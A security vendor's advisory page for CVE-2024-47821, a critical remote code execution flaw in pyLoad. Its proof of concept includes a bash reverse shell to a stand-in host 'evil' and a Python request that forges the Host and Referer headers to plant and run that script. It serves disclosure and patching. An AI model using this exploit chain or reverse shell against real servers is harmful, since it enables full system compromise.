Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2024-47821 — pyload

🔴 CVSS 9.1 — Critical ⚠️ Exploit Public CWE-78 NVD
9.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API

Summary

The folder /.pyload/scripts has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in /scripts path and using the /flashgot API to download the file.

Details

Configuration changes

1. Change the download folder to /home/<user>/.pyload/scripts

2. Change permissions for downloaded files:

1. Change permissions of downloads: on

2. Permission mode for downloaded files: 0744

Making the request to download files

The flashgot API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.

*Referer header check*

```

def flashgot():

if flask.request.referrer not in (

"http://localhost:9666/flashgot",

"http://127.0.0.1:9666/flashgot",

):

flask.abort(500)

...

```

*Host header check for local check*

```

def local_check(func):

@wraps(func)

def wrapper(*args, **kwargs):

remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")

http_host = flask.request.environ.get("HTTP_HOST", "0")

if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (

"127.0.0.1:9666",

"[::1]:9666",

):

return func(*args, **kwargs)

else:

return "Forbidden", 403

return wrapper

```

Once the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed

PoC

Create a malicious file. I have created a reverse shell

```

#!/bin/bash

bash -i >& /dev/tcp/evil/9002 0>&1

```

Host this file at some URL, for eg: http://evil

Create a request like this for the flashgot API. I am using download_finished folder as the destination folder. Scripts in this folder are run when a download is completed.

```

import requests

url = "http://pyload/flashgot"

headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}

data = {

"package": "download_finished",

"passwords": "optional_password",

"urls": "http://evil/exp.sh",

"autostart": 1,

}

response = requests.post(url, data=data, headers=headers)

```

When the above request is made, exp.sh will be downloaded to /scripts/download_finished folder. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.

I also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine

Screenshots

*Download folder*

<img width="672" alt="1" src="https://github.com/user-attachments/assets/77fc5202-bed2-41a2-98ae-9cb7b1315f76">

*exp.sh is downloaded*

<img width="714" alt="2" src="https://github.com/user-attachments/assets/5e6e19db-2a5c-48f4-9973-817528b5b9ec">

*Script is run*

<img width="714" alt="3" src="https://github.com/user-attachments/assets/34fbdaee-50ba-46a8-a372-ec8c91d03aa9">

*Reverse shell connection is received*

<img width="314" alt="4" src="https://github.com/user-attachments/assets/4713d56e-e850-47ad-99b3-cab0c7bba800">

Impact

This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: High — administrative rights are needed first.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2024-47821 is classified as CWE-78: OS Command Injection. Untrusted input reaches a shell command without neutralisation, so an attacker can run arbitrary operating system commands.

Affected software

CVE-2024-47821 is recorded against 2 packages.

  • pyload
  • pyload-ng (fixed in 0.5.0b3.dev87)

Timeline and source

Published on 25 October 2024 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.

References

github.com

Other advisories for this package

pyload has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-78: OS Command Injection) in other software:

Details

Severity CRITICAL
CVSS Score 9.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE CWE-78
Public Exploit ⚠️ Yes
Source NVD
Published 2024-10-25
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
pyload
pyload-ng 0.5.0b3.dev87

Similar Threats

Exploit Protection

Are you running pyload?

CVE-2024-47821 carries CVSS 9.1 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2024-47821 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2024